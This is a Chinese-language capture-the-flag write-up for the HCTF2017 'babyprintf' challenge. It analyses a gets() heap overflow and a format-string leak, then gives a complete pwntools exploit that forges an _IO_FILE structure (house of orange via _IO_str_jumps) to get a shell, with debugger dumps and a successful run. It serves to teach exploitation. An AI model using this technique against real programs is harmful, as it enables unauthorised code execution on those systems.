pwn HCTF2017 babyprintf
题目复现
$ file babyprintf
babyprintf: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=5652f65b98094d8ab456eb0a54d37d9b09b4f3f6, stripped
$ checksec -f babyprintf
RELRO STACK CANARY NX PIE RPATH RUNPATH FORTIFY Fortified Fortifiable FILE
Partial RELRO Canary found NX enabled No PIE No RPATH No RUNPATH Yes 1 2 babyprintf
$ strings libc-2.24.so | grep "GNU C"
GNU C Library (Ubuntu GLIBC 2.24-9ubuntu2.2) stable release version 2.24, by Roland McGrath et al.
Compiled by GNU CC version 6.3.0 20170406.
64 位程序，开启了 canary 和 NX，默认开启 ASLR。
在 Ubuntu16.10 上玩一下：
./babyprintf
size: 0
string: AAAA
result: AAAAsize: 10
string: %p.%p.%p.%p
result: 0x7ffff7dd4720.(nil).0x7ffff7fb7500.0x7ffff7dd4720size: -1
too long
真是个神奇的 “printf” 实现。首先 size 的值对 string 的输入似乎并没有什么影响；然后似乎是直接打印 string，而没有考虑格式化字符串的问题；最后程序应该是对 size 做了大小上的检查，而且是无符号数。
题目解析
main
[0x00400850]> pdf @ main
;-- section..text:
/ (fcn) main 130
| main ();
| ; DATA XREF from 0x0040086d (entry0)
| 0x004007c0 push rbx ; [14] -r-x section size 706 named .text
| 0x004007c1 xor eax, eax
| 0x004007c3 call sub.setbuf_950 ; void setbuf(FILE *stream,
| ,=< 0x004007c8 jmp 0x400815
| 0x004007ca nop word [rax + rax]
| | ; CODE XREF from 0x00400832 (main)
| .--> 0x004007d0 mov edi, eax
| :| 0x004007d2 call sym.imp.malloc ; rax = malloc(size) 分配堆空间
| :| 0x004007d7 mov esi, str.string: ; 0x400aa4 ; "string: "
| :| 0x004007dc mov rbx, rax
| :| 0x004007df mov edi, 1
| :| 0x004007e4 xor eax, eax
| :| 0x004007e6 call sym.imp.__printf_chk
| :| 0x004007eb mov rdi, rbx ; rdi = rbx == rax
| :| 0x004007ee xor eax, eax
| :| 0x004007f0 call sym.imp.gets ; 调用 gets 读入字符串
| :| 0x004007f5 mov esi, str.result: ; 0x400aad ; "result: "
| :| 0x004007fa mov edi, 1
| :| 0x004007ff xor eax, eax
| :| 0x00400801 call sym.imp.__printf_chk
| :| 0x00400806 mov rsi, rbx ; rsi = rbx == rax
| :| 0x00400809 mov edi, 1
| :| 0x0040080e xor eax, eax
| :| 0x00400810 call sym.imp.__printf_chk ; 调用 __printf_chk 打印字符串
| :| ; CODE XREF from 0x004007c8 (main)
| :`-> 0x00400815 mov esi, str.size: ; 0x400a94 ; "size: "
| : 0x0040081a mov edi, 1
| : 0x0040081f xor eax, eax
| : 0x00400821 call sym.imp.__printf_chk
| : 0x00400826 xor eax, eax
| : 0x00400828 call sub._IO_getc_990 ; 读入 size
| : 0x0040082d cmp eax, 0x1000
| `==< 0x00400832 jbe 0x4007d0 ; size 小于等于 0x1000 时跳转
| 0x00400834 mov edi, str.too_long ; 0x400a9b ; "too long"
| 0x00400839 call sym.imp.puts ; int puts(const char *s)
| 0x0040083e mov edi, 1
\ 0x00400843 call sym.imp.exit ; void exit(int status)
整个程序非常简单，首先分配 size 大小的空间，然后在这里读入字符串，由于使用 gets() 函数，可能会导致堆溢出。然后直接调用 __printf_chk() 打印这个字符串，可能会导致栈信息泄露。
这里需要注意的是 __printf_chk() 函数，由于程序开启了 FORTIFY 机制，所以程序在编译时所有的 printf() 都被 __printf_chk() 替换掉了。区别有两点：
- 不能使用
%x$n不连续地打印，也就是说如果要使用%3$n，则必须同时使用%1$n和%2$n。 - 在使用
%n的时候会做一些检查。
漏洞利用
所以这题应该不止是利用格式化字符串，其实是 house-of-orange 的升级版。由于 libc-2.24 中加入了对 vtable 指针的检查，原先的 house-of-arange 已经不可用了。然后新的利用技术又出现了，即一个叫做 _IO_str_jumps 的 vtable 里的 _IO_str_overflow 虚表函数（参考章节 4.13）。
overwrite top chunk
def overwrite_top():
payload = "A" * 16
payload += p64(0) + p64(0xfe1) # top chunk header
prf(0x10, payload)
为了能将 top chunk 释放到 unrosted bin 中，首先覆写 top chunk 的 size 字段：
gdb-peda$ x/8gx 0x602010-0x10
0x602000: 0x0000000000000000 0x0000000000000021
0x602010: 0x4141414141414141 0x4141414141414141
0x602020: 0x0000000000000000 0x0000000000000fe1 <-- top chunk
0x602030: 0x0000000000000000 0x0000000000000000
leak libc
def leak_libc():
global libc_base
prf(0x1000, '%p%p%p%p%p%pA') # _int_free in sysmalloc
libc_start_main = int(io.recvuntil("A", drop=True)[-12:], 16) - 241
libc_base = libc_start_main - libc.symbols['__libc_start_main']
log.info("libc_base address: 0x%x" % libc_base)
然后利用格式化字符串来泄露 libc 的地址，此时的 top chunk 也已经放到 unsorted bin 中了：
gdb-peda$ x/10gx 0x602010-0x10
0x602000: 0x0000000000000000 0x0000000000000021
0x602010: 0x4141414141414141 0x4141414141414141
0x602020: 0x0000000000000000 0x0000000000000fc1 <-- old top chunk
0x602030: 0x00007ffff7dd1b58 0x00007ffff7dd1b58
0x602040: 0x0000000000000000 0x0000000000000000
gdb-peda$ x/6gx 0x623010-0x10
0x623000: 0x0000000000000000 0x0000000000001011
0x623010: 0x7025702570257025 0x0000004170257025 <-- format string
0x623020: 0x0000000000000000 0x0000000000000000
gdb-peda$ x/4gx 0x623000+0x1010
0x624010: 0x0000000000000000 0x0000000000020ff1 <-- new top chunk
0x624020: 0x0000000000000000 0x0000000000000000
house of orange
def house_of_orange():
io_list_all = libc_base + libc.symbols['_IO_list_all']
system_addr = libc_base + libc.symbols['system']
bin_sh_addr = libc_base + libc.search('/bin/sh\x00').next()
vtable_addr = libc_base + 0x3be4c0 # _IO_str_jumps
log.info("_IO_list_all address: 0x%x" % io_list_all)
log.info("system address: 0x%x" % system_addr)
log.info("/bin/sh address: 0x%x" % bin_sh_addr)
log.info("vtable address: 0x%x" % vtable_addr)
stream = p64(0) + p64(0x61) # fake header # fp
stream += p64(0) + p64(io_list_all - 0x10) # fake bk pointer
stream += p64(0) # fp->_IO_write_base
stream += p64(0xffffffff) # fp->_IO_write_ptr
stream += p64(0) *2 # fp->_IO_write_end, fp->_IO_buf_base
stream += p64((bin_sh_addr - 100) / 2) # fp->_IO_buf_end
stream = stream.ljust(0xc0, '\x00')
stream += p64(0) # fp->_mode
payload = "A" * 0x10
payload += stream
payload += p64(0) * 2
payload += p64(vtable_addr) # _IO_FILE_plus->vtable
payload += p64(system_addr)
prf(0x10, payload)
改进版的 house-of-orange，详细你已经看了参考章节，这里就不再重复了，内存布局如下：
gdb-peda$ x/40gx 0x602010-0x10
0x602000: 0x0000000000000000 0x0000000000000021
0x602010: 0x4141414141414141 0x4141414141414141
0x602020: 0x0000000000000000 0x0000000000000021
0x602030: 0x4141414141414141 0x4141414141414141
0x602040: 0x0000000000000000 0x0000000000000061 <-- _IO_FILE_plus
0x602050: 0x0000000000000000 0x00007ffff7dd24f0
0x602060: 0x0000000000000000 0x7fffffffffffffff
0x602070: 0x0000000000000000 0x0000000000000000
0x602080: 0x00003ffffbdcd5ee 0x0000000000000000
0x602090: 0x0000000000000000 0x0000000000000000
0x6020a0: 0x0000000000000000 0x0000000000000000
0x6020b0: 0x0000000000000000 0x0000000000000000
0x6020c0: 0x0000000000000000 0x0000000000000000
0x6020d0: 0x0000000000000000 0x0000000000000000
0x6020e0: 0x0000000000000000 0x0000000000000000
0x6020f0: 0x0000000000000000 0x0000000000000000
0x602100: 0x0000000000000000 0x0000000000000000
0x602110: 0x0000000000000000 0x00007ffff7dce4c0 <-- vtable
0x602120: 0x00007ffff7a556a0 0x0000000000000000 <-- system
0x602130: 0x0000000000000000 0x0000000000000000
gdb-peda$ x/gx 0x00007ffff7dce4c0 + 0x18
0x7ffff7dce4d8: 0x00007ffff7a8f2b0 <-- __overflow
pwn
def pwn():
io.sendline("0") # abort routine
io.interactive()
最后触发异常处理，malloc_printerr -> __libc_message -> __GI_abort -> _IO_flush_all_lockp -> __GI__IO_str_overflow，获得 shell。
开启 ASLR，Bingo!!!
$ python exp.py
[+] Starting local process './babyprintf': pid 8307
[*] libc_base address: 0x7f40dc2ca000
[*] _IO_list_all address: 0x7f40dc68c500
[*] system address: 0x7f40dc30f6a0
[*] /bin/sh address: 0x7f40dc454c40
[*] vtable address: 0x7f40dc6884c0
[*] Switching to interactive mode
result: AAAAAAAAAAAAAAAAsize: *** Error in `./babyprintf': malloc(): memory corruption: 0x00007f40dc68c500 ***
======= Backtrace: =========
...
$ whoami
firmy
exploit
完整 exp 如下：
#!/usr/bin/env python
from pwn import *
#context.log_level = 'debug'
io = process(['./babyprintf'], env={'LD_PRELOAD':'./libc-2.24.so'})
libc = ELF('libc-2.24.so')
def prf(size, string):
io.sendlineafter("size: ", str(size))
io.sendlineafter("string: ", string)
def overwrite_top():
payload = "A" * 16
payload += p64(0) + p64(0xfe1) # top chunk header
prf(0x10, payload)
def leak_libc():
global libc_base
prf(0x1000, '%p%p%p%p%p%pA') # _int_free in sysmalloc
libc_start_main = int(io.recvuntil("A", drop=True)[-12:], 16) - 241
libc_base = libc_start_main - libc.symbols['__libc_start_main']
log.info("libc_base address: 0x%x" % libc_base)
def house_of_orange():
io_list_all = libc_base + libc.symbols['_IO_list_all']
system_addr = libc_base + libc.symbols['system']
bin_sh_addr = libc_base + libc.search('/bin/sh\x00').next()
vtable_addr = libc_base + 0x3be4c0 # _IO_str_jumps
log.info("_IO_list_all address: 0x%x" % io_list_all)
log.info("system address: 0x%x" % system_addr)
log.info("/bin/sh address: 0x%x" % bin_sh_addr)
log.info("vtable address: 0x%x" % vtable_addr)
stream = p64(0) + p64(0x61) # fake header # fp
stream += p64(0) + p64(io_list_all - 0x10) # fake bk pointer
stream += p64(0) # fp->_IO_write_base
stream += p64(0xffffffff) # fp->_IO_write_ptr
stream += p64(0) *2 # fp->_IO_write_end, fp->_IO_buf_base
stream += p64((bin_sh_addr - 100) / 2) # fp->_IO_buf_end
stream = stream.ljust(0xc0, '\x00')
stream += p64(0) # fp->_mode
payload = "A" * 0x10
payload += stream
payload += p64(0) * 2
payload += p64(vtable_addr) # _IO_FILE_plus->vtable
payload += p64(system_addr)
prf(0x10, payload)
def pwn():
io.sendline("0") # abort routine
io.interactive()
if __name__ == '__main__':
overwrite_top()
leak_libc()
house_of_orange()
pwn()
参考资料
- https://github.com/spineee/hctf/tree/master/2017/babyprintf
Comments